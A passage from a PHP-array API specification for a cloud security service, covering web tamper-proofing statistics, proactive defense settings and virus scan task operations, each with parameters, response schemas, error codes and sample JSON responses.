'integer', 'format' => 'int32', 'example' => '20', ], 'Process' => [ 'description' => 'The process.'."\n", 'type' => 'string', 'example' => 'cron', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 100,\\n \\"List\\": [\\n {\\n \\"Count\\": 20,\\n \\"Process\\": \\"cron\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockProcessBlockStatistics', ], 'DescribeWebLockInclusiveFileType' => [ 'summary' => 'Queries the types of files that can be protected by web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of the types of files that can be protected by web tamper proofing.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '15', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], 'InclusiveFileType' => [ 'description' => 'An array that consists of the types of files that can be protected by web tamper proofing.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the file that can be protected by web tamper proofing. Valid values:'."\n" ."\n" .'* **php**: PHP file'."\n" .'* **jsp**: JSP file'."\n" .'* **asp**: ASP file'."\n" .'* **aspx**: ASPX file'."\n" .'* **js**: JS file'."\n" .'* **cgi**: CGI file'."\n" .'* **html**: HTML file'."\n" .'* **htm**: HTM file'."\n" .'* **xml**: XML file'."\n" .'* **shtml**: SHTML file'."\n" .'* **shtm**: SHTM file'."\n" .'* **jpg**: JPG file'."\n" .'* **gif**: GIF file'."\n" .'* **png**: PNG file'."\n", 'type' => 'string', 'enumValueTitles' => [ 'htm' => 'htm', 'jpg' => 'jpg', 'cgi' => 'cgi', 'gif' => 'gif', 'jsp' => 'jsp', 'png' => 'png', 'js' => 'js', 'xml' => 'xml', 'aspx' => 'aspx', 'php' => 'php', 'html' => 'html', 'shtml' => 'shtml', 'shtm' => 'shtm', 'asp' => 'asp', ], 'example' => 'jsp', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 15,\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\",\\n \\"InclusiveFileType\\": [\\n \\"jsp\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockInclusiveFileType', ], 'DescribeWebLockFileTypeSummary' => [ 'summary' => 'Queries the summary information about the types of files for which web tamper proofing is enabled.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of events on web tamper proofing.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '639', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78', ], 'List' => [ 'description' => 'An array that consists of events on web tamper proofing returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the event on web tamper proofing.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The type of the protected file. Valid values:'."\n" ."\n" .'* **php**: PHP file'."\n" .'* **jsp**: JSP file'."\n" .'* **asp**: ASP file'."\n" .'* **aspx**: ASPX file'."\n" .'* **js**: JS file'."\n" .'* **cgi**: CGI file'."\n" .'* **html**: HTML file'."\n" .'* **htm**: HTM file'."\n" .'* **xml**: XML file'."\n" .'* **shtml**: SHTML file'."\n" .'* **shtm**: SHTM file'."\n" .'* **jpg**: JPG file'."\n" .'* **gif**: GIF file'."\n" .'* **png**: PNG file'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'jsp', ], 'Count' => [ 'description' => 'The number of attempts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 639,\\n \\"RequestId\\": \\"4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78\\",\\n \\"List\\": [\\n {\\n \\"Type\\": \\"jsp\\",\\n \\"Count\\": 3\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockFileTypeSummary', ], 'DescribeWebLockFileChangeStatistics' => [ 'summary' => 'Queries the statistics on changes to the files that are protected by web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page. Default value: 20. If you leave this parameter empty, 20 entries are returned on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '709A8C3D-A543-5B79-AB75-361B206F71D9', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of files that are attempted to change.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '200', ], 'List' => [ 'description' => 'An array consisting of the files that are changed.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the file that is changed.'."\n", 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The number of attempts.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '33', ], 'File' => [ 'description' => 'The file path.'."\n", 'type' => 'string', 'example' => '/tmp', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"RequestId\\": \\"709A8C3D-A543-5B79-AB75-361B206F71D9\\",\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 200,\\n \\"List\\": [\\n {\\n \\"Count\\": 33,\\n \\"File\\": \\"/tmp\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockFileChangeStatistics', ], 'DescribeWebLockExclusiveFileType' => [ 'summary' => 'Queries the types of files that are excluded from web tamper proofing.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'TotalCount' => [ 'description' => 'The total number of types of the files that are excluded from web tamper proofing.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '9CCD7D51-5E81-5FF5-BD74-813DDD248430', ], 'ExclusiveFileType' => [ 'description' => 'An array that consists of the types of the files that are excluded from web tamper proofing.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the file that is excluded from web tamper proofing.'."\n" ."\n" .'* **log**: LOG file.'."\n" .'* **txt**: TXT file.'."\n" .'* **idb**: IDB file.'."\n", 'type' => 'string', 'enumValueTitles' => [], 'example' => 'ldb', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 30,\\n \\"RequestId\\": \\"9CCD7D51-5E81-5FF5-BD74-813DDD248430\\",\\n \\"ExclusiveFileType\\": [\\n \\"ldb\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebLockExclusiveFileType', ], 'DescribeSuspiciousUUIDConfig' => [ 'summary' => 'Queries the UUIDs of servers on which proactive defense of a specified type takes effect.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '101926', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of proactive defense. Valid values:'."\n" ."\n" .'* **auto_breaking**: virus defense'."\n" .'* **ransomware_breaking**: ransomware capture'."\n" .'* **webshell_cloud_breaking**: webshell defense'."\n" .'* **alinet**: malicious behavior defense'."\n" .'* **alisecguard**: client protection'."\n", 'type' => 'string', 'required' => true, 'example' => 'alinet', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The total number of servers on which proactive defense of the specified type takes effect.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6044DC07-86F1-5DDA-A611-EC578EA4EEE6', ], 'UUIDList' => [ 'description' => 'The UUIDs of servers on which proactive defense of the specified type takes effect.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the server on which proactive defense of the specified type takes effect.'."\n", 'type' => 'string', 'example' => '0011ea53-738c-4bff-93be-ce6a1cc9****', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ConsoleError', 'errorMessage' => 'The error message is %s %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"Count\\": 2,\\n \\"RequestId\\": \\"6044DC07-86F1-5DDA-A611-EC578EA4EEE6\\",\\n \\"UUIDList\\": [\\n \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\"\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2\\n 6044DC07-86F1-5DDA-A611-EC578EA4EEE6\\n \\"0011ea53-738c-4bff-93be-ce6a1cc9****\\", \\"0029c328-53de-40e6-b432-df820f0e****\\"\\n","errorExample":""}]', 'title' => 'DescribeSuspiciousUUIDConfig', ], 'StartVirusScanTask' => [ 'summary' => 'Performs a virus scan task on a server or multiple servers.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'TargetInfo', 'in' => 'query', 'schema' => [ 'description' => 'The asset on which you want to perform a virus scan task. You can select servers or server groups to scan for viruses. The value is a string that consists of JSON arrays. Each element in a JSON array is a JSON struct that contains the following fields:'."\n" ."\n" .'* **type**: the type of the asset on which you want to perform a virus scan task. Valid values:'."\n" ."\n" .' * **groupId**: server group.'."\n" .' * **uuid**: server.'."\n" ."\n" .'* **name**: the name of the server or server group.'."\n" ."\n" .'* **target**: the asset on which you want to perform a virus scan task. Valid values:'."\n" ."\n" .' * If you set **type** to **groupId**, you must set this field to the ID of the server group. You can call the [DescribeAllGroups](~~DescribeAllGroups~~) operation to query the IDs of server groups.'."\n" .' * If you set **type** to **uuid**, you must set this field to the UUID of the server. You can call the [DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '[{"type":"uuid","name":"Host001","target":"503201a7-14c6-4280-801b-1169ed42****"}]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'ScanTaskId' => [ 'description' => 'The ID of the virus scan task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '282832', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DAE17926-4ABE-4DBD-9600-DDCB9B200F35', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'IllegalParam', 'errorMessage' => 'Illegal param', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"type":"json","example":"{\\n \\"ScanTaskId\\": 282832,\\n \\"RequestId\\": \\"DAE17926-4ABE-4DBD-9600-DDCB9B200F35\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 282832\\n DAE17926-4ABE-4DBD-9600-DDCB9B200F35\\n","errorExample":""}]', 'title' => 'StartVirusScanTask', 'responseParamsDescription' => ' ', 'extraInfo' => ' ', ], 'DescribeLatestScanTask' => [ 'summary' => 'Queries the progress of the last virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'TargetInfo' => [ 'description' => 'The applicable scope of the whitelist. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **type**: the type of the applicable scope. Valid values:'."\n" ."\n" .' * **GroupId**: the ID of a server group'."\n" .' * **Uuid**: the UUID of a server'."\n" ."\n" .'* **uuids**: the UUIDs of servers'."\n" ."\n" .'* **groupIds**: the IDs of server groups'."\n" ."\n" .'> If you leave this parameter empty, all servers are added to the whitelist. If you set the **type** field to **GroupId**, you must also specify the **groupIds** field. If you set the **type** field to **Uuid**, you must also specify the **uuids** field.', 'type' => 'string', 'example' => '[{"type":"uuid","name":"Host001","target":"503201a7-14c6-4280-801b-1169ed42****"}]', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42XXXXXXXX', ], 'LastCheckTime' => [ 'description' => 'The timestamp when the last check was performed. Unit: milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1671610264000', ], 'RiskNum' => [ 'description' => 'The number of virus detection risks on the server.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Uuids' => [ 'description' => 'The UUIDs of the assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The UUID of the asset.'."\n", 'type' => 'string', 'example' => 'd77f7802-4f0a-4221-ab02-4d999e****', ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TargetInfo\\": \\"[{\\\\\\"type\\\\\\":\\\\\\"uuid\\\\\\",\\\\\\"name\\\\\\":\\\\\\"Host001\\\\\\",\\\\\\"target\\\\\\":\\\\\\"503201a7-14c6-4280-801b-1169ed42****\\\\\\"}]\\",\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42XXXXXXXX\\",\\n \\"LastCheckTime\\": 1671610264000,\\n \\"RiskNum\\": 1,\\n \\"Uuids\\": [\\n \\"d77f7802-4f0a-4221-ab02-4d999e****\\"\\n ]\\n}","type":"json"}]', 'title' => 'DescribeLatestScanTask', ], 'CreateVirusScanOnceTask' => [ 'summary' => 'Creates a one-time virus scan task that is immediately executed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasE5WAEJ', ], ], 'parameters' => [ [ 'name' => 'SelectionKey', 'in' => 'query', 'schema' => [ 'description' => 'The key that stores the asset information.'."\n" ."\n" .'> You can call the [GetAssetSelectionConfig](~~GetAssetSelectionConfig~~) operation to obtain the key value.'."\n", 'type' => 'string', 'required' => false, 'example' => '845de1ec-4b08-42e1-b564-31321e48xxxx', ], ], [ 'name' => 'ScanType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the virus scan. Valid values:'."\n" ."\n" .'* **system**: system scan.'."\n" .'* **user**: custom scan.'."\n", 'type' => 'string', 'required' => false, 'example' => 'system', ], ], [ 'name' => 'ScanPath', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The information about the scan path that is required for a custom scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The absolute path of the file.'."\n", 'type' => 'string', 'required' => false, 'example' => '/var/spool/cron', ], 'required' => false, 'maxItems' => 1000, ], ], [ 'name' => 'Param', 'in' => 'query', 'schema' => [ 'description' => 'Additional information fields: '."\n" .'- **additionType**: The type of extended scan', 'type' => 'string', 'required' => false, 'example' => '{\\"additionType\\":[\\"SCAN_MEMORY\\"]}', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F3B45', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F3B45\\"\\n}","type":"json"}]', 'title' => 'CreateVirusScanOnceTask', ], 'ListVirusScanMachine' => [ 'summary' => 'Queries servers on which virus detection and removal tasks are performed.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The information about the server that you want to query. The value can be the name or the IP address of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.1****', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => '7cc91747-2845-40d4-bb69-c077597f****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'A27C1C09-828B-5CB8-9203-F55423BE****', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '168', ], ], ], 'Data' => [ 'description' => 'The returned data.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', ], 'InstanceName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'centos****', ], 'InternetIp' => [ 'description' => 'The public IP address of the associated server.'."\n", 'type' => 'string', 'example' => '172.16.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the associated server.'."\n", 'type' => 'string', 'example' => '10.42.XX.XX', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.'."\n", 'type' => 'string', 'example' => 'i-bp180bogui4fc0z4****', ], 'EventCount' => [ 'description' => 'The number of times that the alert is triggered.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '28', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A27C1C09-828B-5CB8-9203-F55423BE****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 168\\n },\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"InstanceName\\": \\"centos****\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"InstanceId\\": \\"i-bp180bogui4fc0z4****\\",\\n \\"EventCount\\": 28\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListVirusScanMachine', ], 'GetVirusScanLatestTaskStatistic' => [ 'summary' => 'Queries the information about the latest virus scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', ], 'Data' => [ 'description' => 'The information about the virus scan task.'."\n", 'type' => 'object', 'properties' => [ 'TaskId' => [ 'description' => 'The ID of the virus scan task.'."\n", 'type' => 'string', 'example' => 'fc98d58eb56f699d49bf7ebbd6d7****', ], 'ScanTime' => [ 'description' => 'The timestamp generated when the virus scan task was performed. Unit: milliseconds.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1681145862000', ], 'Status' => [ 'description' => 'The status of the virus scan task.'."\n" ."\n" .'**Valid values for a main task**:'."\n" ."\n" .'* **0**: The main task is to be started.'."\n" .'* **10**: The main task is running.'."\n" .'* **100**: The main task is complete.'."\n" ."\n" .'**Valid values for a subtask**:'."\n" ."\n" .'* **0**: The subtask is to be started.'."\n" .'* **20**: The scan script is sent.'."\n" .'* **50**: The subtask is running.'."\n" .'* **100**: The subtask is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'SuspiciousCount' => [ 'description' => 'The number of alerts that are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'SuspiciousMachine' => [ 'description' => 'The number of suspicious machines that are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'SafeMachine' => [ 'description' => 'The number of safe machines that are detected.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'ScanMachine' => [ 'description' => 'The number of machines that are scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '3', ], 'ScanType' => [ 'description' => 'The type of the virus scan. Valid values:'."\n" ."\n" .'* **system**: automatic scan.'."\n" .'* **user**: custom scan.'."\n", 'type' => 'string', 'example' => 'system', ], 'ScanPath' => [ 'description' => 'The paths of files that were scanned. This value is returned only when ScanType is set to user.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The path of the file.'."\n", 'type' => 'string', 'example' => 'C:/test1', ], ], 'Progress' => [ 'description' => 'The progress of the virus scan task in percentage.'."\n", 'type' => 'string', 'example' => '92', ], 'MachineName' => [ 'description' => 'The name of the machine.'."\n", 'type' => 'string', 'example' => 'testMahine1', ], 'CompleteMachine' => [ 'description' => 'The number of machines on which the virus scan task is complete.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'UnCompleteMachine' => [ 'description' => 'The number of machines on which the virus scan task was not complete or failed.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'RiskLevel' => [ 'description' => 'The highest risk level of the detected alerts. Valid values:'."\n" ."\n" .'* **high**'."\n" .'* **medium**'."\n" .'* **low**'."\n", 'type' => 'string', 'example' => 'medium', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"Data\\": {\\n \\"TaskId\\": \\"fc98d58eb56f699d49bf7ebbd6d7****\\",\\n \\"ScanTime\\": 1681145862000,\\n \\"Status\\": 0,\\n \\"SuspiciousCount\\": 2,\\n \\"SuspiciousMachine\\": 2,\\n \\"SafeMachine\\": 1,\\n \\"ScanMachine\\": 3,\\n \\"ScanType\\": \\"system\\",\\n \\"ScanPath\\": [\\n \\"C:/test1\\"\\n ],\\n \\"Progress\\": \\"92\\",\\n \\"MachineName\\": \\"testMahine1\\",\\n \\"CompleteMachine\\": 2,\\n \\"UnCompleteMachine\\": 1,\\n \\"RiskLevel\\": \\"medium\\"\\n }\\n}","type":"json"}]', 'title' => 'GetVirusScanLatestTaskStatistic', ], 'ListVirusScanMachineEvent' => [ 'summary' => 'Queries the alert events that are generated for viruses detected on a server.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a6931624-c43e-4323-9128-a6be6ffdxxxx', ], ], [ 'name' => 'OperateTaskId', 'in' => 'query', 'schema' => [ 'description' => 'The task ID that is generated by the handling operation.'."\n" ."\n" .'> You can call the [OperateVirusEvents](~~OperateVirusEvents~~) operation to handle alerts. You can obtain the task ID from the response parameters.'."\n", 'type' => 'string', 'required' => false, 'example' => '233886xx', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'en', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '2DAEF40F-8E1A-550D-8793-99C61C401DD0', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], ], ], 'Data' => [ 'description' => 'The details of the alert event.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The returned data.'."\n", 'type' => 'object', 'properties' => [ 'EventId' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '911273', ], 'Level' => [ 'description' => 'The risk level of the alert 